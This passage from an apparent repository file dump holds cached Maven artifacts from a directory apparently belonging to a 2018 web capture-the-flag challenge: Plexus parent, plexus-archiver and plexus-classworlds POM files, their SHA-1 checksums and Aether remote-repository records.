<name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email />\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Trygve Laugstøl</name>\n      <id>trygvis</id>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Kenney Westerhof</name>\n      <id>kenney</id>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Carlos Sanchez</name>\n      <id>carlos</id>\n      <email>carlos@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Brett Porter</name>\n      <id>brett</id>\n      <email>brett@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>John Casey</name>\n      <id>jdcasey</id>\n      <email>jdcasey@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Andrew Williams</name>\n      <id>handyande</id>\n      <email>andy@handyande.co.uk</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Rahul Thakur</name>\n      <id>rahul</id>\n      <email>rahul.thakur.xdev@gmail.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Joakim Erdfelt</name>\n      <id>joakime</id>\n      <email>joakim@erdfelt.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Olivier Lamy</name>\n      <id>olamy</id>\n      <email>olamy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Hervé Boutemy</name>\n      <id>hboutemy</id>\n      <email>hboutemy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Oleg Gusakov</name>\n      <id>oleg</id>\n      <email>olegy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Vincent Siveton</name>\n      <id>vsiveton</id>\n      <email>vsiveton@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Plexus User List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/user</archive>\n      <post>user@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/dev</archive>\n      <post>dev@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Announce List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/announce</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Commit List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/scm</archive>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:git:git@github.com:sonatype/plexus-pom.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/plexus-pom.git</developerConnection>\n    <url>http://github.com/sonatype/plexus-pom</url>\n    <tag>plexus-3.3.1</tag>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLX</url>\n  </issueManagement>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <repository>\n      <id>plexus-releases</id>\n      <name>Plexus Release Repository</name>\n      <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n    </repository>\n    <snapshotRepository>\n      <id>plexus-snapshots</id>\n      <name>Plexus Snapshot Repository</name>\n      <url>${plexusDistMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus</url>\n      <!--\n       dav.codehaus.org requires a specific CA\n       see http://docs.codehaus.org/display/HAUSMATES/Installing+a+new+CA+into+the+JDK\n       to avoid following failure:\n       javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target\n      -->\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <plexusDistMgmtSnapshotsUrl>https://oss.sonatype.org/content/repositories/plexus-snapshots</plexusDistMgmtSnapshotsUrl>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.5.1</version>\n          <configuration>\n            <source>1.5</source>\n            <target>1.5</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.9</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>3.2</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.3.2</version>\n          <configuration>\n            <goals>deploy</goals>\n            <useReleaseProfile>false</useReleaseProfile>\n            <arguments>-Pplexus-release</arguments>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.2</version>\n          <dependencies>\n            <dependency>\n              <groupId>org.apache.maven.wagon</groupId>\n              <artifactId>wagon-webdav-jackrabbit</artifactId>\n              <version>2.2</version>\n            </dependency>\n            <dependency>\n              <groupId>org.slf4j</groupId>\n              <artifactId>slf4j-api</artifactId>\n              <version>1.7.2</version>\n            </dependency>\n            <dependency>\n              <groupId>org.slf4j</groupId>\n              <artifactId>slf4j-simple</artifactId>\n              <version>1.7.2</version>\n            </dependency>\n          </dependencies>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.12.4</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.6</version>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>index</report>\n              <report>summary</report>\n              <report>dependency-info</report>\n              <report>modules</report>\n              <report>license</report>\n              <report>project-team</report>\n              <report>scm</report>\n              <report>issue-tracking</report>\n              <report>mailing-list</report>\n              <report>dependency-management</report>\n              <report>dependencies</report>\n              <report>dependency-convergence</report>\n              <report>cim</report>\n              <report>plugin-management</report>\n              <report>plugins</report>\n              <report>distribution-management</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.6</version>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>index</report>\n                  <report>summary</report>\n                  <report>dependency-info</report>\n                  <report>modules</report>\n                  <report>license</report>\n                  <report>project-team</report>\n                  <report>scm</report>\n                  <report>issue-tracking</report>\n                  <report>mailing-list</report>\n                  <report>dependency-management</report>\n                  <report>dependencies</report>\n                  <report>dependency-convergence</report>\n                  <report>cim</report>\n                  <report>plugin-management</report>\n                  <report>plugins</report>\n                  <report>distribution-management</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.12.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.9.1</version>\n            <configuration>\n              <configLocation>config/maven_checks.xml</configLocation>\n              <headerLocation>https://raw.github.com/sonatype/plexus-pom/master/src/main/resources/config/plexus-header.txt</headerLocation>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <id>default</id>\n                <reports>\n                  <report>checkstyle</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.7.1</version>\n            <configuration>\n              <targetJdk>1.5</targetJdk>\n              <rulesets>\n                <ruleset>rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>findbugs-maven-plugin</artifactId>\n            <version>2.5.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.3</version>\n            <reportSets>\n              <reportSet>\n                <id>default</id>\n                <reports>\n                  <report>jxr</report>\n                  <report>test-jxr</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.9</version>\n            <configuration>\n              <detectLinks>true</detectLinks>\n              <links>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n              </links>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <id>default</id>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.5.2</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>plexus-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar-no-fork</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!-- This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.3.1/plexus-3.3.1.pom.sha1",
    "content": "f081c65405b2d5e403c9d57e791b23f613966322"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/1.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\nplexus-archiver-1.0.jar>central=\nplexus-archiver-1.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/1.0/plexus-archiver-1.0.jar.sha1",
    "content": "b564a05aeecd4d81d6b81f57a1d495fc8c0f497f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/1.0/plexus-archiver-1.0.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>plexus-components</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.1.17</version>\n  </parent>\n\n  <artifactId>plexus-archiver</artifactId>\n  <version>1.0</version>\n\n  <name>Plexus Archiver Component</name>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-archiver-1.0</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-archiver-1.0</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-archiver-1.0</url>\n  </scm>\n\n  <contributors>\n    <contributor>\n      <name>Dan Tran</name>\n    </contributor>\n    <contributor>\n      <name>Richard van der Hoff</name>\n    </contributor>\n  </contributors>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>2.0.5</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-io</artifactId>\n      <version>1.0</version>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/1.0/plexus-archiver-1.0.pom.sha1",
    "content": "0fe828f728c599c354503a9ec3603f603a7fecec"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/2.0.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:40 CST 2018\nplexus-archiver-2.0.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/2.0.1/plexus-archiver-2.0.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.spice</groupId>\n    <artifactId>spice-parent</artifactId>\n    <version>17</version>\n  </parent>\n\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-archiver</artifactId>\n  <version>2.0.1</version>\n\n  <name>Plexus Archiver Component</name>\n\n  <scm>\n    <connection>scm:git:git@github.com:sonatype/plexus-archiver.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/plexus-archiver.git</developerConnection>\n    <url>http://github.com/sonatype/plexus-archiver</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/PLXCOMP/component/12540</url>\n  </issueManagement>\n\n  <distributionManagement>\n    <repository>\n      <id>plexus-releases</id>\n      <name>Plexus Release Repository</name>\n      <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n    </repository>\n    <snapshotRepository>\n      <id>plexus-snapshots</id>\n      <name>Plexus Snapshot Repository</name>\n      <url>${plexusDistMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <useJvmChmod>false</useJvmChmod>\n  </properties>\n\n  <contributors>\n    <contributor>\n      <name>Dan Tran</name>\n    </contributor>\n    <contributor>\n      <name>Richard van der Hoff</name>\n    </contributor>\n  </contributors>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <version>1.0-alpha-9-stable-1</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>3.0</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-io</artifactId>\n      <version>2.0.1</version>\n    </dependency>\n  </dependencies>\n  \n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <systemPropertyVariables>\n            <useJvmChmod>${useJvmChmod}</useJvmChmod>\n          </systemPropertyVariables>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-release-plugin</artifactId>\n        <version>2.2.1</version>\n      </plugin>\n    </plugins>\n  </build>\n  \n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/2.0.1/plexus-archiver-2.0.1.pom.sha1",
    "content": "dfbf04dfe84e3789b1e7ef3e49c8e9a09df454c9"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:20 CST 2018\nplexus-archiver-2.1.pom>central=\nplexus-archiver-2.1.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/2.1/plexus-archiver-2.1.jar.sha1",
    "content": "97853695be4bba3724512226c4d910fed733e608"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/2.1/plexus-archiver-2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.spice</groupId>\n    <artifactId>spice-parent</artifactId>\n    <version>17</version>\n  </parent>\n\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-archiver</artifactId>\n  <version>2.1</version>\n\n  <name>Plexus Archiver Component</name>\n\n  <scm>\n    <connection>scm:git:git@github.com:sonatype/plexus-archiver.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/plexus-archiver.git</developerConnection>\n    <url>http://github.com/sonatype/plexus-archiver</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/PLXCOMP/component/12540</url>\n  </issueManagement>\n\n  <distributionManagement>\n    <repository>\n      <id>plexus-releases</id>\n      <name>Plexus Release Repository</name>\n      <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n    </repository>\n    <snapshotRepository>\n      <id>plexus-snapshots</id>\n      <name>Plexus Snapshot Repository</name>\n      <url>${plexusDistMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <useJvmChmod>false</useJvmChmod>\n  </properties>\n\n  <contributors>\n    <contributor>\n      <name>Dan Tran</name>\n    </contributor>\n    <contributor>\n      <name>Richard van der Hoff</name>\n    </contributor>\n  </contributors>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <version>1.0-alpha-9-stable-1</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>3.0</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-io</artifactId>\n      <version>2.0.2</version>\n    </dependency>\n  </dependencies>\n  \n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <systemPropertyVariables>\n            <useJvmChmod>${useJvmChmod}</useJvmChmod>\n          </systemPropertyVariables>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-release-plugin</artifactId>\n        <version>2.2.1</version>\n      </plugin>\n    </plugins>\n  </build>\n  \n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/2.1/plexus-archiver-2.1.pom.sha1",
    "content": "8e63c83bf055cf0357669ca934f64c6bf27fc640"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/1.2-alpha-7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:07 CST 2018\nplexus-classworlds-1.2-alpha-7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/1.2-alpha-7/plexus-classworlds-1.2-alpha-7.pom",
    "content": "<?xml version=\"1.0\"?><project>\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.0.9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-classworlds</artifactId>\n  <name>Plexus Classworlds</name>\n  <version>1.2-alpha-7</version>\n  <description></description>\n  <inceptionYear>2002</inceptionYear>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-classworlds/tags/plexus-classworlds-1.2-alpha-7</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-classworlds/tags/plexus-classworlds-1.2-alpha-7</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-classworlds/tags/plexus-classworlds-1.2-alpha-7</url>\n  </scm>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <forkMode>once</forkMode>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <excludes>\n            <exclude>org/codehaus/plexus/classworlds/event/*</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <profiles>\n    <profile>\n      <id>debug</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>aspectj-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>compile</goal>\n                </goals>\n              </execution>\n            </executions>\n            <configuration>\n              <complianceLevel>1.4</complianceLevel>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n      <dependencies>\n        <dependency>\n          <groupId>aspectj</groupId>\n          <artifactId>aspectjrt</artifactId>\n          <version>1.5.0</version>\n        </dependency>\n      </dependencies>\n    </profile>\n  </profiles>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>compile</scope>\n    </dependency>\n  </dependencies>\n  <distributionManagement>\n    <status>deployed</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/1.2-alpha-7/plexus-classworlds-1.2-alpha-7.pom.sha1",
    "content": "6944ec0d0cab19adf167332f7197e045d64a577c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/1.2-alpha-9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:50 CST 2018\nplexus-classworlds-1.2-alpha-9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/1.2-alpha-9/plexus-classworlds-1.2-alpha-9.pom",
